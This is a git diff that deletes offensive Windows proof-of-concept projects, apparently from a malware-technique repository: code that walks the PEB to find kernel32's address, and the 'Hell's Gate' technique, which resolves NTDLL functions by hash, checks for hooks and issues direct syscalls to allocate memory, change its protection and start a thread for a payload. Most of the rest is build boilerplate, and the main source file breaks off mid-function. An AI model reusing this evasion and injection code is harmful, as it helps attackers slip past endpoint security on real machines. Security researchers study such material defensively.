- Release|x64 = Release|x64
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {1215E56F-670D-4DBF-9750-D7EB3D74F4B9}.Debug|Win32.ActiveCfg = Debug|Win32
- {1215E56F-670D-4DBF-9750-D7EB3D74F4B9}.Debug|Win32.Build.0 = Debug|Win32
- {1215E56F-670D-4DBF-9750-D7EB3D74F4B9}.Debug|x64.ActiveCfg = Debug|x64
- {1215E56F-670D-4DBF-9750-D7EB3D74F4B9}.Debug|x64.Build.0 = Debug|x64
- {1215E56F-670D-4DBF-9750-D7EB3D74F4B9}.Release|Win32.ActiveCfg = Release|Win32
- {1215E56F-670D-4DBF-9750-D7EB3D74F4B9}.Release|Win32.Build.0 = Release|Win32
- {1215E56F-670D-4DBF-9750-D7EB3D74F4B9}.Release|x64.ActiveCfg = Release|x64
- {1215E56F-670D-4DBF-9750-D7EB3D74F4B9}.Release|x64.Build.0 = Release|x64
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
-EndGlobal
diff --git a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.cpp b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.cpp
deleted file mode 100644
index aa7056b5..00000000
--- a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.cpp
+++ /dev/null
@@ -1,59 +0,0 @@
-// GetKernel32Addressx64.cpp : ̨Ӧóڵ㡣
-//
-
-#include "stdafx.h"
-#include "GetKernel32Addressx64.h"
-
-#ifdef _DEBUG
-#define new DEBUG_NEW
-#endif
-
-
-// ΨһӦó
-
-CWinApp theApp;
-
-using namespace std;
-
-#include
-extern "C" PVOID64 _cdecl GetPeb();
-
-
-typedef struct _UNICODE_STRING {
- USHORT Length;
- USHORT MaximumLength;
- PWSTR Buffer;
-}UNICODE_STRING, *PUNICODE_STRING;
-
-int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
-{
- PVOID64 Peb = NULL;
- PVOID64 LDR_DATA_Addr = NULL;
- UNICODE_STRING* FullName;
- HMODULE hKernel32 = NULL;
- LIST_ENTRY* pNode = NULL;
-
- // For win7 x64 TEST
- Peb = GetPeb();
- if(Peb == NULL)
- return 0;
-
- LDR_DATA_Addr = *(PVOID64**)((BYTE*)Peb+0x018);
- if(LDR_DATA_Addr == NULL)
- return 0;
-
- pNode =(LIST_ENTRY*)(*(PVOID64**)((BYTE*)LDR_DATA_Addr+0x30));
- while(true)
- {
- FullName = (UNICODE_STRING*)((BYTE*)pNode+0x38);
- if(*(FullName->Buffer + 12) == '\0')
- {
- hKernel32 = (HMODULE)(*((ULONG64*)((BYTE*)pNode+0x10)));
- break;
- }
- pNode = pNode->Flink;
- }
- printf("%S : %p",FullName->Buffer,hKernel32);
-
- return 0;
-}
diff --git a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.h b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.h
deleted file mode 100644
index d00d47e7..00000000
--- a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.h
+++ /dev/null
@@ -1,3 +0,0 @@
-#pragma once
-
-#include "resource.h"
diff --git a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.rc b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.rc
deleted file mode 100644
index cda2fb45..00000000
Binary files a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.rc and /dev/null differ
diff --git a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.vcxproj b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.vcxproj
deleted file mode 100644
index c6832c6e..00000000
--- a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.vcxproj
+++ /dev/null
@@ -1,176 +0,0 @@
-
-
-
-
- Debug
- Win32
-
-
- Debug
- x64
-
-
- Release
- Win32
-
-
- Release
- x64
-
-
-
- {1215E56F-670D-4DBF-9750-D7EB3D74F4B9}
- Win32Proj
- GetKernel32Addressx64
-
-
-
- Application
- true
- Unicode
- Dynamic
-
-
- Application
- true
- Unicode
- Dynamic
-
-
- Application
- false
- true
- Unicode
- Dynamic
-
-
- Application
- false
- true
- Unicode
- Dynamic
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- true
-
-
- true
-
-
- false
-
-
- false
-
-
-
- Use
- Level3
- Disabled
- WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
- ProgramDatabase
-
-
- Console
- true
-
-
-
-
- Use
- Level3
- Disabled
- WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
-
-
- Console
- true
-
-
-
-
- Level3
- Use
- MaxSpeed
- true
- true
- WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
-
-
- Console
- true
- true
- true
-
-
-
-
- Level3
- Use
- MaxSpeed
- true
- true
- WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
-
-
- Console
- true
- true
- true
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- Create
- Create
- Create
- Create
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- C:\Users\TyLtw\Documents\Visual Studio 2010\Projects\GetKernel32Addressx64;%(IncludePaths)
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.vcxproj.filters b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.vcxproj.filters
deleted file mode 100644
index bf633314..00000000
--- a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.vcxproj.filters
+++ /dev/null
@@ -1,52 +0,0 @@
-
-
-
-
- {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
- cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
-
-
- {93995380-89BD-4b04-88EB-625FBE52EBFB}
- h;hpp;hxx;hm;inl;inc;xsd
-
-
- {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
- rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
-
-
-
-
-
-
-
- 头文件
-
-
- 头文件
-
-
- 头文件
-
-
- 头文件
-
-
-
-
- 源文件
-
-
- 源文件
-
-
-
-
- 资源文件
-
-
-
-
- 源文件
-
-
-
\ No newline at end of file
diff --git a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetPeb.asm b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetPeb.asm
deleted file mode 100644
index 88cc795c..00000000
--- a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetPeb.asm
+++ /dev/null
@@ -1,7 +0,0 @@
-
-.CODE
- GetPeb PROC
- mov rax,gs:[60h]
- ret
- GetPeb ENDP
- END
\ No newline at end of file
diff --git a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/Resource.h b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/Resource.h
deleted file mode 100644
index 74b2ac14..00000000
--- a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/Resource.h
+++ /dev/null
@@ -1,17 +0,0 @@
-//{{NO_DEPENDENCIES}}
-// Microsoft Visual C++ generated include file.
-// Used by GetKernel32Addressx64.rc
-//
-
-#define IDS_APP_TITLE 103
-
-// ¶һĬֵ
-//
-#ifdef APSTUDIO_INVOKED
-#ifndef APSTUDIO_READONLY_SYMBOLS
-#define _APS_NEXT_RESOURCE_VALUE 101
-#define _APS_NEXT_COMMAND_VALUE 40001
-#define _APS_NEXT_CONTROL_VALUE 1000
-#define _APS_NEXT_SYMED_VALUE 101
-#endif
-#endif
diff --git a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/stdafx.cpp b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/stdafx.cpp
deleted file mode 100644
index 0d47986d..00000000
--- a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/stdafx.cpp
+++ /dev/null
@@ -1,8 +0,0 @@
-// stdafx.cpp : ֻļԴļ
-// GetKernel32Addressx64.pch ΪԤͷ
-// stdafx.obj ԤϢ
-
-#include "stdafx.h"
-
-// TODO: STDAFX.H
-// κĸͷļڴļ
diff --git a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/stdafx.h b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/stdafx.h
deleted file mode 100644
index 4721a605..00000000
--- a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/stdafx.h
+++ /dev/null
@@ -1,32 +0,0 @@
-// stdafx.h : ϵͳļİļ
-// Ǿʹõĵ
-// ضĿİļ
-//
-
-#pragma once
-
-#include "targetver.h"
-
-#include
-#include
-#define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // ijЩ CString 캯ʽ
-
-#ifndef VC_EXTRALEAN
-#define VC_EXTRALEAN // Windows ͷļųʹõϢ
-#endif
-
-#include
-#include // MFC ͱ
-#include // MFC չ
-#ifndef _AFX_NO_OLE_SUPPORT
-#include // MFC Internet Explorer 4 ؼ֧
-#endif
-#ifndef _AFX_NO_AFXCMN_SUPPORT
-#include // MFC Windows ؼ֧
-#endif // _AFX_NO_AFXCMN_SUPPORT
-
-#include
-
-
-
-// TODO: ڴ˴óҪͷļ
diff --git a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/targetver.h b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/targetver.h
deleted file mode 100644
index 7a7d2c83..00000000
--- a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/targetver.h
+++ /dev/null
@@ -1,8 +0,0 @@
-#pragma once
-
-// SDKDDKVer.h õ߰汾 Windows ƽ̨
-
-// ҪΪǰ Windows ƽ̨Ӧó WinSDKVer.h
-// WIN32_WINNT ΪҪֵ֧ƽ̨Ȼٰ SDKDDKVer.h
-
-#include
diff --git a/Win32/Proof of Concepts/GetKernel32Addressx64/ReadMe.txt b/Win32/Proof of Concepts/GetKernel32Addressx64/ReadMe.txt
deleted file mode 100644
index 021152ae..00000000
--- a/Win32/Proof of Concepts/GetKernel32Addressx64/ReadMe.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-in x64
-1.get peb from fs:[0x60] by asm file
-2.get Ldr by peb
-3.get kernel32 module in the third module
-ntdll->kernelbase->kernel32
-
-in x86
-1.get peb from fs:[0x30] by inline asm
-2.get Ldr by peb
-3.get kernel32 module in the second module
-ntdll->kernel32
-
-the offset in the PEB is different from x64 and x86
-This demo is only Test on Win7 x64
diff --git a/Win32/Proof of Concepts/HellsGate/.gitignore b/Win32/Proof of Concepts/HellsGate/.gitignore
deleted file mode 100644
index 83ba0814..00000000
--- a/Win32/Proof of Concepts/HellsGate/.gitignore
+++ /dev/null
@@ -1,360 +0,0 @@
-## Ignore Visual Studio temporary files, build results, and
-## files generated by popular Visual Studio add-ons.
-##
-## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
-
-# User-specific files
-*.rsuser
-*.suo
-*.user
-*.userosscache
-*.sln.docstates
-
-# User-specific files (MonoDevelop/Xamarin Studio)
-*.userprefs
-
-# Mono auto generated files
-mono_crash.*
-
-# Build results
-[Dd]ebug/
-[Dd]ebugPublic/
-[Rr]elease/
-[Rr]eleases/
-x64/
-x86/
-[Ww][Ii][Nn]32/
-[Aa][Rr][Mm]/
-[Aa][Rr][Mm]64/
-bld/
-[Bb]in/
-[Oo]bj/
-[Ll]og/
-[Ll]ogs/
-
-# Visual Studio 2015/2017 cache/options directory
-.vs/
-# Uncomment if you have tasks that create the project's static files in wwwroot
-#wwwroot/
-
-# Visual Studio 2017 auto generated files
-Generated\ Files/
-
-# MSTest test Results
-[Tt]est[Rr]esult*/
-[Bb]uild[Ll]og.*
-
-# NUnit
-*.VisualState.xml
-TestResult.xml
-nunit-*.xml
-
-# Build Results of an ATL Project
-[Dd]ebugPS/
-[Rr]eleasePS/
-dlldata.c
-
-# Benchmark Results
-BenchmarkDotNet.Artifacts/
-
-# .NET Core
-project.lock.json
-project.fragment.lock.json
-artifacts/
-
-# ASP.NET Scaffolding
-ScaffoldingReadMe.txt
-
-# StyleCop
-StyleCopReport.xml
-
-# Files built by Visual Studio
-*_i.c
-*_p.c
-*_h.h
-*.ilk
-*.meta
-*.obj
-*.iobj
-*.pch
-*.pdb
-*.ipdb
-*.pgc
-*.pgd
-*.rsp
-*.sbr
-*.tlb
-*.tli
-*.tlh
-*.tmp
-*.tmp_proj
-*_wpftmp.csproj
-*.log
-*.vspscc
-*.vssscc
-.builds
-*.pidb
-*.svclog
-*.scc
-
-# Chutzpah Test files
-_Chutzpah*
-
-# Visual C++ cache files
-ipch/
-*.aps
-*.ncb
-*.opendb
-*.opensdf
-*.sdf
-*.cachefile
-*.VC.db
-*.VC.VC.opendb
-
-# Visual Studio profiler
-*.psess
-*.vsp
-*.vspx
-*.sap
-
-# Visual Studio Trace Files
-*.e2e
-
-# TFS 2012 Local Workspace
-$tf/
-
-# Guidance Automation Toolkit
-*.gpState
-
-# ReSharper is a .NET coding add-in
-_ReSharper*/
-*.[Rr]e[Ss]harper
-*.DotSettings.user
-
-# TeamCity is a build add-in
-_TeamCity*
-
-# DotCover is a Code Coverage Tool
-*.dotCover
-
-# AxoCover is a Code Coverage Tool
-.axoCover/*
-!.axoCover/settings.json
-
-# Coverlet is a free, cross platform Code Coverage Tool
-coverage*[.json, .xml, .info]
-
-# Visual Studio code coverage results
-*.coverage
-*.coveragexml
-
-# NCrunch
-_NCrunch_*
-.*crunch*.local.xml
-nCrunchTemp_*
-
-# MightyMoose
-*.mm.*
-AutoTest.Net/
-
-# Web workbench (sass)
-.sass-cache/
-
-# Installshield output folder
-[Ee]xpress/
-
-# DocProject is a documentation generator add-in
-DocProject/buildhelp/
-DocProject/Help/*.HxT
-DocProject/Help/*.HxC
-DocProject/Help/*.hhc
-DocProject/Help/*.hhk
-DocProject/Help/*.hhp
-DocProject/Help/Html2
-DocProject/Help/html
-
-# Click-Once directory
-publish/
-
-# Publish Web Output
-*.[Pp]ublish.xml
-*.azurePubxml
-# Note: Comment the next line if you want to checkin your web deploy settings,
-# but database connection strings (with potential passwords) will be unencrypted
-*.pubxml
-*.publishproj
-
-# Microsoft Azure Web App publish settings. Comment the next line if you want to
-# checkin your Azure Web App publish settings, but sensitive information contained
-# in these scripts will be unencrypted
-PublishScripts/
-
-# NuGet Packages
-*.nupkg
-# NuGet Symbol Packages
-*.snupkg
-# The packages folder can be ignored because of Package Restore
-**/[Pp]ackages/*
-# except build/, which is used as an MSBuild target.
-!**/[Pp]ackages/build/
-# Uncomment if necessary however generally it will be regenerated when needed
-#!**/[Pp]ackages/repositories.config
-# NuGet v3's project.json files produces more ignorable files
-*.nuget.props
-*.nuget.targets
-
-# Microsoft Azure Build Output
-csx/
-*.build.csdef
-
-# Microsoft Azure Emulator
-ecf/
-rcf/
-
-# Windows Store app package directories and files
-AppPackages/
-BundleArtifacts/
-Package.StoreAssociation.xml
-_pkginfo.txt
-*.appx
-*.appxbundle
-*.appxupload
-
-# Visual Studio cache files
-# files ending in .cache can be ignored
-*.[Cc]ache
-# but keep track of directories ending in .cache
-!?*.[Cc]ache/
-
-# Others
-ClientBin/
-~$*
-*~
-*.dbmdl
-*.dbproj.schemaview
-*.jfm
-*.pfx
-*.publishsettings
-orleans.codegen.cs
-
-# Including strong name files can present a security risk
-# (https://github.com/github/gitignore/pull/2483#issue-259490424)
-#*.snk
-
-# Since there are multiple workflows, uncomment next line to ignore bower_components
-# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
-#bower_components/
-
-# RIA/Silverlight projects
-Generated_Code/
-
-# Backup & report files from converting an old project file
-# to a newer Visual Studio version. Backup files are not needed,
-# because we have git ;-)
-_UpgradeReport_Files/
-Backup*/
-UpgradeLog*.XML
-UpgradeLog*.htm
-ServiceFabricBackup/
-*.rptproj.bak
-
-# SQL Server files
-*.mdf
-*.ldf
-*.ndf
-
-# Business Intelligence projects
-*.rdl.data
-*.bim.layout
-*.bim_*.settings
-*.rptproj.rsuser
-*- [Bb]ackup.rdl
-*- [Bb]ackup ([0-9]).rdl
-*- [Bb]ackup ([0-9][0-9]).rdl
-
-# Microsoft Fakes
-FakesAssemblies/
-
-# GhostDoc plugin setting file
-*.GhostDoc.xml
-
-# Node.js Tools for Visual Studio
-.ntvs_analysis.dat
-node_modules/
-
-# Visual Studio 6 build log
-*.plg
-
-# Visual Studio 6 workspace options file
-*.opt
-
-# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
-*.vbw
-
-# Visual Studio LightSwitch build output
-**/*.HTMLClient/GeneratedArtifacts
-**/*.DesktopClient/GeneratedArtifacts
-**/*.DesktopClient/ModelManifest.xml
-**/*.Server/GeneratedArtifacts
-**/*.Server/ModelManifest.xml
-_Pvt_Extensions
-
-# Paket dependency manager
-.paket/paket.exe
-paket-files/
-
-# FAKE - F# Make
-.fake/
-
-# CodeRush personal settings
-.cr/personal
-
-# Python Tools for Visual Studio (PTVS)
-__pycache__/
-*.pyc
-
-# Cake - Uncomment if you are using it
-# tools/**
-# !tools/packages.config
-
-# Tabs Studio
-*.tss
-
-# Telerik's JustMock configuration file
-*.jmconfig
-
-# BizTalk build output
-*.btp.cs
-*.btm.cs
-*.odx.cs
-*.xsd.cs
-
-# OpenCover UI analysis results
-OpenCover/
-
-# Azure Stream Analytics local run output
-ASALocalRun/
-
-# MSBuild Binary and Structured Log
-*.binlog
-
-# NVidia Nsight GPU debugger configuration file
-*.nvuser
-
-# MFractors (Xamarin productivity tool) working folder
-.mfractor/
-
-# Local History for Visual Studio
-.localhistory/
-
-# BeatPulse healthcheck temp database
-healthchecksdb
-
-# Backup folder for Package Reference Convert tool in Visual Studio 2017
-MigrationBackup/
-
-# Ionide (cross platform F# VS Code tools) working folder
-.ionide/
-
-# Fody - auto-generated XML schema
-FodyWeavers.xsd
diff --git a/Win32/Proof of Concepts/HellsGate/HellsGate.sln b/Win32/Proof of Concepts/HellsGate/HellsGate.sln
deleted file mode 100644
index f28de621..00000000
--- a/Win32/Proof of Concepts/HellsGate/HellsGate.sln
+++ /dev/null
@@ -1,31 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 12.00
-# Visual Studio Version 16
-VisualStudioVersion = 16.0.30114.105
-MinimumVisualStudioVersion = 10.0.40219.1
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HellsGate", "HellsGate\HellsGate.vcxproj", "{DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}"
-EndProject
-Global
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- Debug|x64 = Debug|x64
- Debug|x86 = Debug|x86
- Release|x64 = Release|x64
- Release|x86 = Release|x86
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x64.ActiveCfg = Debug|x64
- {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x64.Build.0 = Debug|x64
- {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x86.ActiveCfg = Debug|Win32
- {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x86.Build.0 = Debug|Win32
- {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x64.ActiveCfg = Release|x64
- {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x64.Build.0 = Release|x64
- {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x86.ActiveCfg = Release|Win32
- {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x86.Build.0 = Release|Win32
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
- GlobalSection(ExtensibilityGlobals) = postSolution
- SolutionGuid = {AAAFFDAB-0074-4A3D-BA5B-63F51AA7F8EB}
- EndGlobalSection
-EndGlobal
diff --git a/Win32/Proof of Concepts/HellsGate/HellsGate/HellsGate.vcxproj b/Win32/Proof of Concepts/HellsGate/HellsGate/HellsGate.vcxproj
deleted file mode 100644
index 462e6d00..00000000
--- a/Win32/Proof of Concepts/HellsGate/HellsGate/HellsGate.vcxproj
+++ /dev/null
@@ -1,161 +0,0 @@
-
-
-
-
- Debug
- Win32
-
-
- Release
- Win32
-
-
- Debug
- x64
-
-
- Release
- x64
-
-
-
- 16.0
- Win32Proj
- {dc6187cb-d5df-4973-84a2-f92aae90cda9}
- HellsGate
- 10.0
-
-
-
- Application
- true
- v142
- Unicode
- false
-
-
- Application
- false
- v142
- true
- Unicode
- false
-
-
- Application
- true
- v142
- Unicode
- false
-
-
- Application
- false
- v142
- true
- Unicode
- false
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- true
-
-
- false
-
-
- true
-
-
- false
-
-
-
- Level3
- true
- WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
- true
-
-
- Console
- true
-
-
-
-
- Level3
- true
- true
- true
- WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
- true
-
-
- Console
- true
- true
- true
-
-
-
-
- Level3
- true
- _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
- true
-
-
- Console
- true
-
-
-
-
- Level3
- true
- true
- true
- NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
- true
-
-
- Console
- true
- true
- true
-
-
-
-
-
-
-
-
-
-
- Document
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/Win32/Proof of Concepts/HellsGate/HellsGate/HellsGate.vcxproj.filters b/Win32/Proof of Concepts/HellsGate/HellsGate/HellsGate.vcxproj.filters
deleted file mode 100644
index f73ae10a..00000000
--- a/Win32/Proof of Concepts/HellsGate/HellsGate/HellsGate.vcxproj.filters
+++ /dev/null
@@ -1,32 +0,0 @@
-
-
-
-
- {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
- cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx
-
-
- {93995380-89BD-4b04-88EB-625FBE52EBFB}
- h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
-
-
- {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
- rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
-
-
-
-
- Source Files
-
-
-
-
- Header Files
-
-
-
-
- Source Files
-
-
-
\ No newline at end of file
diff --git a/Win32/Proof of Concepts/HellsGate/HellsGate/hellsgate.asm b/Win32/Proof of Concepts/HellsGate/HellsGate/hellsgate.asm
deleted file mode 100644
index fe505028..00000000
--- a/Win32/Proof of Concepts/HellsGate/HellsGate/hellsgate.asm
+++ /dev/null
@@ -1,23 +0,0 @@
-; Hell's Gate
-; Dynamic system call invocation
-;
-; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec)
-
-.data
- wSystemCall DWORD 000h
-
-.code
- HellsGate PROC
- mov wSystemCall, 000h
- mov wSystemCall, ecx
- ret
- HellsGate ENDP
-
- HellDescent PROC
- mov r10, rcx
- mov eax, wSystemCall
-
- syscall
- ret
- HellDescent ENDP
-end
diff --git a/Win32/Proof of Concepts/HellsGate/HellsGate/main.c b/Win32/Proof of Concepts/HellsGate/HellsGate/main.c
deleted file mode 100644
index 506790c3..00000000
--- a/Win32/Proof of Concepts/HellsGate/HellsGate/main.c
+++ /dev/null
@@ -1,211 +0,0 @@
-#pragma once
-#include
-#include "structs.h"
-
-/*--------------------------------------------------------------------
- VX Tables
---------------------------------------------------------------------*/
-typedef struct _VX_TABLE_ENTRY {
- PVOID pAddress;
- DWORD64 dwHash;
- WORD wSystemCall;
-} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;
-
-typedef struct _VX_TABLE {
- VX_TABLE_ENTRY NtAllocateVirtualMemory;
- VX_TABLE_ENTRY NtProtectVirtualMemory;
- VX_TABLE_ENTRY NtCreateThreadEx;
- VX_TABLE_ENTRY NtWaitForSingleObject;
-} VX_TABLE, * PVX_TABLE;
-
-/*--------------------------------------------------------------------
- Function prototypes.
---------------------------------------------------------------------*/
-PTEB RtlGetThreadEnvironmentBlock();
-BOOL GetImageExportDirectory(
- _In_ PVOID pModuleBase,
- _Out_ PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory
-);
-BOOL GetVxTableEntry(
- _In_ PVOID pModuleBase,
- _In_ PIMAGE_EXPORT_DIRECTORY pImageExportDirectory,
- _In_ PVX_TABLE_ENTRY pVxTableEntry
-);
-BOOL Payload(
- _In_ PVX_TABLE pVxTable
-);
-PVOID VxMoveMemory(
- _Inout_ PVOID dest,
- _In_ const PVOID src,
- _In_ SIZE_T len
-);
-
-/*--------------------------------------------------------------------
- External functions' prototype.
---------------------------------------------------------------------*/
-extern VOID HellsGate(WORD wSystemCall);
-extern HellDescent();
-
-INT wmain() {
- PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
- PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
- if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)
- return 0x1;
-
- // Get NTDLL module
- PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
-
- // Get the EAT of NTDLL
- PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
- if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
- return 0x01;
-
- VX_TABLE Table = { 0 };
- Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
- if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
- return 0x1;
-
- Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
- if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))
- return 0x1;
-
- Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
- if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))
- return 0x1;
-
- Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
- if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject))
- return 0x1;
-
- Payload(&Table);
- return 0x00;
-}
-
-PTEB RtlGetThreadEnvironmentBlock() {
-#if _WIN64
- return (PTEB)__readgsqword(0x30);
-#else
- return (PTEB)__readfsdword(0x16);
-#endif
-}
-
-DWORD64 djb2(PBYTE str) {
- DWORD64 dwHash = 0x7734773477347734;
- INT c;
-
- while (c = *str++)
- dwHash = ((dwHash << 0x5) + dwHash) + c;
-
- return dwHash;
-}
-
-BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) {
- // Get DOS header
- PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
- if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
- return FALSE;
- }
-
- // Get NT headers
- PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
- if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
- return FALSE;
- }
-
- // Get the EAT
- *ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
- return TRUE;
-}
-
-BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) {
- PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
- PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
- PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);
-
- for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
- PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
- PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
-
- if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
- pVxTableEntry->pAddress = pFunctionAddress;
-
- // Quick and dirty fix in case the function has been hooked
- WORD cw = 0;
- while (TRUE) {
- // check if syscall, in this case we are too far
- if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
- return FALSE;
-
- // check if ret, in this case we are also probaly too far
- if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
- return FALSE;
-
